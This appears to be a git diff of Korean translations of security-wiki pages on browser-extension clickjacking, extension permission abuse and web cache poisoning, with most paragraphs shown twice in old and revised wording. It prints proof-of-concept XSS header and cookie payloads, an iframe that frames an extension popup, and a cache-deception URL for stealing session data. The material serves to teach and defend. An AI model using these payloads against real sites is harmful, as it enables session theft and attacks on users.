Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 풀어내기 위해 고안된 Python 3 패키지입니다. `manifest.json`, 지역화 폴더 또는 JavaScript 및 HTML 소스 파일과 같은 관련 리소스에서 이러한 기능을 추출하기 위해 패키지 파일을 압축 해제하는 프로세스를 자동화합니다.
Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 풀어내기 위해 고안된 Python 3 패키지입니다. `manifest.json`, 로컬화 폴더 또는 JavaScript 및 HTML 소스 파일과 같은 관련 리소스에서 이러한 기능을 추출하기 위해 패키지 파일을 압축 해제하는 프로세스를 자동화합니다.
## 참고 문헌

View File

@ -11,7 +11,7 @@ ClickJacking이 무엇인지 모른다면 확인하세요:
../clickjacking.md
{{#endref}}
확장 프로그램에는 **`manifest.json`** 파일이 포함되어 있으며, 해당 JSON 파일에는 `web_accessible_resources` 필드가 있습니다. [Chrome 문서](https://developer.chrome.com/extensions/manifest/web_accessible_resources)에서 다음과 같이 설명합니다:
확장 프로그램에는 **`manifest.json`** 파일이 포함되어 있으며, 해당 JSON 파일에는 `web_accessible_resources` 필드가 있습니다. [Chrome 문서](https://developer.chrome.com/extensions/manifest/web_accessible_resources)에서 이에 대해 다음과 같이 설명합니다:
> 이러한 리소스는 **`chrome-extension://[PACKAGE ID]/[PATH]`** URL을 통해 웹페이지에서 사용할 수 있으며, 이는 **`extension.getURL method`**로 생성할 수 있습니다. 허용된 리소스는 적절한 CORS 헤더와 함께 제공되므로 XHR과 같은 메커니즘을 통해 사용할 수 있습니다.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
@ -25,14 +25,14 @@ ClickJacking이 무엇인지 모른다면 확인하세요:
## PrivacyBadger Example
확장 프로그램 PrivacyBadger에서 `skin/` 디렉토리가 다음과 같이 `web_accessible_resources`로 선언된 것과 관련된 취약점이 확인되었습니다 (원본 [블로그 게시물](https://blog.lizzie.io/clickjacking-privacy-badger.html) 확인):
확장 프로그램 PrivacyBadger에서 `skin/` 디렉토리가 다음과 같이 `web_accessible_resources`로 선언된 것과 관련된 취약점이 발견되었습니다 (원본 [블로그 게시물](https://blog.lizzie.io/clickjacking-privacy-badger.html) 확인):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```
이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저에서 PrivacyBadger 아이콘과 상호작용할 때 렌더링되는 `skin/popup.html` 파일이 `iframe` 내에 삽입될 수 있습니다. 이 삽입은 사용자가 "이 웹사이트에 대해 PrivacyBadger 비활성화"를 무심코 클릭하도록 속이는 데 악용될 수 있습니다. 이러한 행동은 PrivacyBadger 보호를 비활성화하여 사용자의 개인 정보를 위협하고, 사용자가 더 많은 추적을 받을 수 있는 상황에 처하게 합니다. 이 취약점의 시각적 시연은 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)에서 제공된 ClickJacking 비디오 예제에서 확인할 수 있습니다.
이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저에서 PrivacyBadger 아이콘과 상호작용할 때 렌더링되는 `skin/popup.html` 파일이 `iframe` 내에 삽입될 수 있습니다. 이 삽입은 사용자가 "이 웹사이트에 대해 PrivacyBadger 비활성화"를 무심코 클릭하도록 속이는 데 악용될 수 있습니다. 이러한 행동은 PrivacyBadger 보호를 비활성화하여 사용자의 개인 정보를 손상시키고, 사용자가 더 많은 추적을 받을 수 있는 위험에 처하게 합니다. 이 취약점의 시각적 시연은 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)에서 제공되는 ClickJacking 비디오 예제를 통해 확인할 수 있습니다.
이 취약점을 해결하기 위해 간단한 해결책이 구현되었습니다: `/skin/*``web_accessible_resources` 목록에서 제거하는 것입니다. 이 변경은 `skin/` 디렉토리의 콘텐츠에 웹 접근 가능한 리소스를 통해 접근하거나 조작할 수 없도록 하여 위험을 효과적으로 완화했습니다.
@ -73,23 +73,23 @@ left: 100px;
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamask 예
## Metamask 예
A [**ClickJacking에 대한 블로그 게시물은 여기에서 찾을 수 있습니다**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). 이 경우, Metamask는 접근하는 데 사용된 프로토콜이 **`https:`** 또는 **`http:`**인지 확인하여 취약점을 수정했습니다 (예: **`chrome:`**가 아님):
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). 이 경우, Metamask는 접근하는 데 사용된 프로토콜이 **`https:`** 또는 **`http:`**인지 확인하여 취약점을 수정했습니다 (예: **`chrome:`**가 아님):
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
**Metamask 확장에서 수정된 또 다른 ClickJacking**은 사용자가 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` 때문에 페이지가 피싱으로 의심될 때 **허용 목록에 추가하기 위해 클릭**할 수 있었던 것입니다. 해당 페이지가 Clickjacking에 취약했기 때문에 공격자는 피해자가 이를 인식하지 못한 채 허용 목록에 추가하도록 클릭하게 만들기 위해 정상적인 것을 보여줄 수 있었고, 그 후 허용 목록에 추가된 피싱 페이지로 돌아갈 수 있었습니다.
**Metamask 확장 프로그램에서 수정된 또 다른 ClickJacking**은 사용자가 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` 때문에 페이지가 피싱으로 의심될 때 **Click to whitelist**할 수 있었던 것입니다. 해당 페이지가 Clickjacking에 취약했기 때문에, 공격자는 피해자가 이를 인식하지 못한 채로 화이트리스트에 추가하도록 클릭하게 만들기 위해 정상적인 것을 보여줄 수 있었고, 그 후 화이트리스트에 추가된 피싱 페이지로 돌아갈 수 있었습니다.
## Steam 인벤토리 헬퍼 예제
## Steam Inventory Helper 예시
브라우저 확장에서 **XSS**가 **ClickJacking** 취약점과 어떻게 연결되었는지 확인하려면 다음 페이지를 확인하세요:
다음 페이지를 확인하여 **XSS**가 브라우저 확장 프로그램에서 **ClickJacking** 취약점과 어떻게 연결되었는지 확인하세요:
{{#ref}}
browext-xss-example.md
{{#endref}}
## 참고문헌
## References
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)

View File

@ -39,11 +39,11 @@
```
이것들은 브라우저 확장 프로그램이 자유롭게 접근할 수 있는 호스트입니다. 이는 브라우저 확장 프로그램이 **`fetch("https://gmail.com/")`**를 호출할 때 CORS에 의해 제한되지 않기 때문입니다.
## `permissions``host_permissions` 악용
## `permissions``host_permissions` 악용하기
### 탭
게다가, **`host_permissions`**는 “고급” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **기능을 잠금 해제합니다.** 이들은 확장 프로그램이 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)를 호출하여 **사용자의 브라우저 탭 목록**을 가져오고 어떤 **웹 페이지(주소 및 제목)가 로드되었는지** 알 수 있게 니다.
게다가, **`host_permissions`**는 “고급” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **기능을 잠금 해제합니다.** 이들은 확장 프로그램이 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)를 호출하여 **사용자의 브라우저 탭 목록**을 가져오고 어떤 **웹 페이지(주소 및 제목)가 로드되었는지** 알 수 있게 해줍니다.
> [!CAUTION]
> 뿐만 아니라, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **와 같은 리스너도 훨씬 더 유용해집니다.** 이들은 새로운 페이지가 탭에 로드될 때마다 알림을 받습니다.
@ -52,7 +52,7 @@
콘텐츠 스크립트는 반드시 확장 프로그램 매니페스트에 정적으로 작성될 필요는 없습니다. 충분한 **`host_permissions`**가 주어지면, **확장 프로그램은** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **또는** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript)를 호출하여 동적으로 로드할 수 있습니다.
두 API는 콘텐츠 스크립트로서 확장 프로그램에 포함된 파일뿐만 아니라 **임의의 코드**를 실행할 수 있게 합니다. 전자는 문자열로 JavaScript 코드를 전달할 수 있는 반면, 후자는 주입 취약점에 덜 취약한 JavaScript 함수를 기대합니다. 그럼에도 불구하고, 두 API는 잘못 사용될 경우 큰 혼란을 초래할 수 있습니다.
두 API는 확장 프로그램에 포함된 파일뿐만 아니라 **임의의 코드**를 콘텐츠 스크립트로 실행할 수 있게 해줍니다. 전자는 문자열로 JavaScript 코드를 전달할 수 있는 반면, 후자는 주입 취약점에 덜 취약한 JavaScript 함수를 기대합니다. 그럼에도 불구하고, 두 API는 잘못 사용될 경우 큰 혼란을 초래할 수 있습니다.
> [!CAUTION]
> 위의 기능 외에도, 콘텐츠 스크립트는 예를 들어 **웹 페이지에 입력되는 자격 증명을 가로챌 수 있습니다.** 이들을 악용하는 또 다른 고전적인 방법은 **모든 웹사이트에 광고를 주입하는 것입니다.** 뉴스 웹사이트의 신뢰성을 악용하기 위해 **사기 메시지를 추가하는 것**도 가능합니다. 마지막으로, 이들은 **은행 웹사이트를 조작하여** 자금 이체를 우회할 수 있습니다.
@ -68,22 +68,22 @@
가능한 `tabs.create()` 매개변수를 살펴보면, 그 기능이 `window.open()`이 허용하는 것보다 훨씬 더 넓다는 것을 알 수 있습니다. Firefox는 이 API와 함께 `data:` URI의 사용을 허용하지 않지만, Chrome은 그러한 보호가 없습니다. **최상위에서 이러한 URI의 사용은** [**피싱에 악용되었기 때문에 금지되었습니다**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)는 `tabs.create()`와 매우 유사하지만 **기존 탭을 수정합니다.** 따라서 악의적인 확장 프로그램은 예를 들어 임의로 광고 페이지를 사용자의 탭 중 하나에 로드할 수 있으며, 해당 탭을 활성화할 수도 있습니다.
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)는 `tabs.create()`와 매우 유사하지만 **기존 탭을 수정합니다.** 따라서 악의적인 확장 프로그램은 예를 들어 임의로 광고 페이지를 당신의 탭 중 하나에 로드할 수 있으며, 해당 탭을 활성화할 수도 있습니다.
### 웹캠, 지리 위치 및 친구들 <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
### 웹캠, 지리 위치 및 친구들 <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
웹사이트가 특별한 권한을 요청할 수 있다는 것을 알고 있을 것입니다. 예를 들어 웹캠(화상 회의 도구)이나 지리적 위치(지도)에 접근하기 위해서입니다. 이는 악용 가능성이 상당한 기능이므로 사용자는 매번 여전히 이를 원한다고 확인해야 합니다.
웹사이트가 특별한 권한을 요청할 수 있다는 것을 알고 있을 것입니다. 예를 들어, 웹캠(화상 회의 도구)이나 지리적 위치(지도)에 접근하기 위해서입니다. 이는 악용 가능성이 상당한 기능이므로, 사용자는 매번 여전히 이를 원한다고 확인해야 합니다.
> [!CAUTION]
> 브라우저 확장 프로그램은 그렇지 않습니다. **브라우저 확장 프로그램이** [**웹캠이나 마이크에 접근하고자 할 경우**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, 단 한 번만 권한을 요청하면 됩니다.**
> 브라우저 확장 프로그램은 그렇지 않습니다. **브라우저 확장 프로그램이** [**당신의 웹캠이나 마이크에 접근하고 싶다면**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, 단 한 번만 권한을 요청하면 됩니다.**
일반적으로 확장 프로그램은 설치 직후에 이를 요청합니다. 이 프롬프트가 수락되면, **언제든지 웹캠 접근이 가능해집니다.** 사용자가 이 시점에서 확장 프로그램과 상호작용하지 않더라도 가능합니다. 네, 사용자는 확장 프로그램이 정말로 웹캠 접근이 필요할 경우에만 이 프롬프트를 수락할 것입니다. 그러나 그 이후에는 확장 프로그램이 비밀리에 아무것도 녹음하지 않을 것이라고 신뢰해야 합니다.
일반적으로 확장 프로그램은 설치 직후에 이를 요청합니다. 이 프롬프트가 수락되면, **언제든지 웹캠 접근이 가능해집니다.** 사용자가 이 시점에서 확장 프로그램과 상호작용하지 않더라도 가능합니다. 네, 사용자는 확장 프로그램이 정말로 웹캠 접근이 필요할 만 이 프롬프트를 수락할 것입니다. 그러나 그 이후에는 확장 프로그램이 비밀리에 아무것도 녹음하지 않을 것이라고 신뢰해야 합니다.
[당신의 정확한 지리적 위치](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 또는 [클립보드 내용](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API)에 접근하는 경우, 명시적으로 권한을 부여할 필요가 전혀 없습니다. **확장 프로그램은 단순히 `geolocation` 또는 `clipboard`를** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **에 추가합니다.** 이러한 접근 권한은 확장 프로그램이 설치될 때 암묵적으로 부여됩니다. 따라서 이러한 권한을 가진 악의적이거나 손상된 확장 프로그램은 사용자가 아무것도 눈치채지 못한 채로 당신의 이동 프로필을 생성하거나 복사된 비밀번호를 모니터링할 수 있습니다.
[당신의 정확한 지리적 위치](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 또는 [클립보드 내용](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API)에 접근하는 경우, 명시적으로 권한을 부여할 필요가 전혀 없습니다. **확장 프로그램은 단순히 `geolocation` 또는 `clipboard`를** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **에 추가합니다.** 이러한 접근 권한은 확장 프로그램이 설치될 때 암묵적으로 부여됩니다. 따라서 이러한 권한을 가진 악의적이거나 손상된 확장 프로그램은 당신의 이동 프로필을 생성하거나 복사된 비밀번호를 모니터링할 수 있습니다.
**`history`** 키워드를 확장 프로그램 매니페스트의 [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)에 추가하면 **`history API`**에 대한 **접근이 허용됩니다.** 이를 통해 사용자의 전체 브라우징 기록을 한 번에 검색할 수 있으며, 사용자가 이러한 웹사이트를 다시 방문할 때까지 기다릴 필요가 없습니다.
**`bookmarks`** **권한**은 유사한 악용 가능성을 가지고 있으며, 이 권한은 **모든 북마크를** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)를 통해 읽을 수 있게 합니다.
**`bookmarks`** **권한**은 유사한 악용 가능성을 가지고 있으며, 이 권한은 **모든 북마크를** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **를 통해 읽을 수 있게 해줍니다.**
### 저장소 권한 <a href="#the-storage-permission" id="the-storage-permission"></a>
@ -93,17 +93,17 @@
### 더 많은 권한
여기에서 [**Chromium 브라우저 확장이 요청할 수 있는 권한의 전체 목록을 찾을 수 있습니다**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 및 [**Firefox 확장 프로그램에 대한 전체 목록은 여기에서 찾을 수 있습니다**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
여기에서 [**Chromium 브라우저 확장 프로그램이 요청할 수 있는 권한의 전체 목록을 찾을 수 있습니다**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 및 [**Firefox 확장 프로그램에 대한 전체 목록은 여기에서 확인할 수 있습니다**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
## 예방 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
구글 개발자의 정책은 확장 프로그램이 기능에 필요한 것보다 더 많은 권한을 요청하는 것을 명시적으로 금지하여 과도한 권한 요청을 효과적으로 완화합니다. 브라우저 확장 프로그램이 이 경계를 넘은 사례는 애드온 스토어가 아닌 브라우저 자체와 함께 배포된 경우입니다.
구글 개발자의 정책은 확장 프로그램이 기능에 필요한 것보다 더 많은 권한을 요청하는 것을 명시적으로 금지하여 과도한 권한 요청을 효과적으로 완화합니다. 브라우저 확장 프로그램이 이 경계를 넘은 사례는 브라우저 자체와 함께 배포된 경우로, 애드온 스토리를 통해서가 아닙니다.
브라우저는 확장 프로그램 권한의 남용을 더욱 억제할 수 있습니다. 예를 들어, 화면 녹화를 위해 사용되는 Chrome의 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 및 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API는 남용을 최소화하도록 설계되었습니다. tabCapture API는 확장 프로그램 아이콘을 클릭하는 것과 같은 직접적인 사용자 상호작용을 통해서만 활성화될 수 있으며, desktopCapture는 녹화할 창에 대한 사용자 확인을 요구하여 은밀한 녹화 활동을 방지합니다.
브라우저는 확장 프로그램 권한의 남용을 더욱 억제할 수 있습니다. 예를 들어, Chrome의 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 및 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API는 화면 녹화를 위해 설계되었으며, 남용을 최소화하도록 되어 있습니다. tabCapture API는 확장 프로그램 아이콘을 클릭하는 것과 같은 직접적인 사용자 상호작용을 통해서만 활성화될 수 있으며, desktopCapture는 녹화할 창에 대한 사용자 확인을 요구하여 은밀한 녹화 활동을 방지합니다.
그러나 보안 조치를 강화하면 종종 확장 프로그램의 유연성과 사용자 친화성이 감소합니다. [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission)은 이러한 거래를 보여줍니다. 이는 확장 프로그램이 전체 인터넷에 대한 호스트 권한을 요청할 필요를 없애기 위해 도입되었으며, 사용자가 명시적으로 활성화할 경우 현재 탭에만 접근할 수 있도록 합니다. 이 모델은 사용자 주도 작업이 필요한 확장 프로그램에는 효과적이지만, 자동 또는 사전 조치가 필요한 확장 프로그램에는 부족하여 편의성과 즉각적인 반응성을 저해합니다.
그러나 보안 조치를 강화하면 종종 확장 프로그램의 유연성과 사용자 친화성이 감소합니다. [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission)은 이러한 거래를 보여줍니다. 이는 확장 프로그램이 전체 인터넷에 대한 호스트 권한을 요청할 필요를 없애기 위해 도입되었으며, 사용자가 명시적으로 활성화할 때만 현재 탭에 접근할 수 있도록 합니다. 이 모델은 사용자 주도 작업이 필요한 확장 프로그램에는 효과적이지만, 자동 또는 사전 조치가 필요한 경우에는 편의성과 즉각적인 반응성을 저해합니다.
## **참고 문헌**
## **참고문헌**
- [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)

View File

@ -94,7 +94,7 @@ persistData()
[...]
],
```
특히, **`/html/bookmarks.html`** 페이지는 프레이밍에 취약하여 **clickjacking**에 노출됩니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 설정하고, DOM 요소로 오버레이하여 인터페이스를 기만적으로 재설계하는 데 활용됩니다. 이러한 조작은 피해자가 기본 확장과 의도치 않게 상호작용하게 만듭니다.
특히, **`/html/bookmarks.html`** 페이지는 프레이밍에 취약하여 **clickjacking**에 노출됩니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 설정하고, DOM 요소로 덮어씌워 인터페이스를 기만적으로 재설계하는 데 활용됩니다. 이러한 조작은 피해자가 의도치 않게 기본 확장과 상호작용하게 만듭니다.
## References

View File

@ -6,12 +6,12 @@
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
>
> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 하며, 이 콘텐츠는 캐시에서 다른 애플리케이션 사용자에게 제공됩니다.
> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 하며, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
## 캐시 오염
캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다.
캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 해당 페이지를 방문하는 사용자에게만 제공됩니다.
캐시 오염 공격의 실행에는 여러 단계가 포함됩니다:
@ -21,13 +21,13 @@
### 발견: HTTP 헤더 확인
일반적으로 응답이 **캐시에 저장되었을 때** **그를 나타내는 헤더**가 있을 것입니다. 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
일반적으로 응답이 **캐시에 저장되었을 때** **그에 대한 헤더가 표시됩니다**, 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### 발견: 캐시 오류 코드
응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
응답이 캐시에 저장되고 있다고 생각면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고, **응답이 400 상태 코드**인 경우 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
더 많은 옵션은 다음에서 찾을 수 있습니다:
더 많은 옵션은 다음에서 확인할 수 있습니다:
{{#ref}}
cache-poisoning-to-dos.md
@ -43,33 +43,33 @@ cache-poisoning-to-dos.md
```
### 백엔드 서버에서 유해한 응답 유도하기
매개변수/헤더가 확인되면 **소독**이 어떻게 이루어지는지와 **어디서** 응답에 **반영**되거나 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드할 수 있습니까? DoS를 수행할 수 있습니까?...)
식별된 매개변수/헤더가 **어떻게** **정화**되고 **어디서** 응답에 **반영**되거나 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드할 수 있습니까? DoS를 수행할 수 있습니까?...)
### 응답 캐시 가져오기
악용할 수 있는 **페이지**를 **확인**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800`
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800`
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다.
요청을 캐시할 때는 사용하는 헤더에 **주의해야** 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
요청을 캐시할 때는 **사용하는 헤더에 주의**해야 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
## 악용 예시
### 가장 쉬운 예
헤더 `X-Forwarded-For`가 응답에 소독되지 않고 반영되고 있습니다.\
기본 XSS 페이로드를 보내고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아닙니다._
_이 요청은 `/en`이 아닌 `/en?region=uk`를 오염시킬 것입니다._
### DoS를 위한 캐시 오염
@ -79,7 +79,7 @@ cache-poisoning-to-dos.md
### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용
쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있니다.
쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있을 것입니다.
```markup
GET / HTTP/1.1
Host: vulnerable.com
@ -87,9 +87,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 정기적인 요청이 캐시를 정리할 것임을 유의하십시오.
### 구분 기호, 정규화 및 점을 사용한 불일치 생성 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 구분 기호, 정규화 및 점을 사용하여 불일치 생성하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
확인:
확인하십시오:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@ -99,13 +99,13 @@ cache-poisoning-via-url-discrepancies.md
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에, 요청이 웹 서버에 도달했을 때 정규화가 이루어졌습니다.
이것은 다음에서 더 잘 설명니다:
이것은 다음에서 더 잘 설명되어 있습니다:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
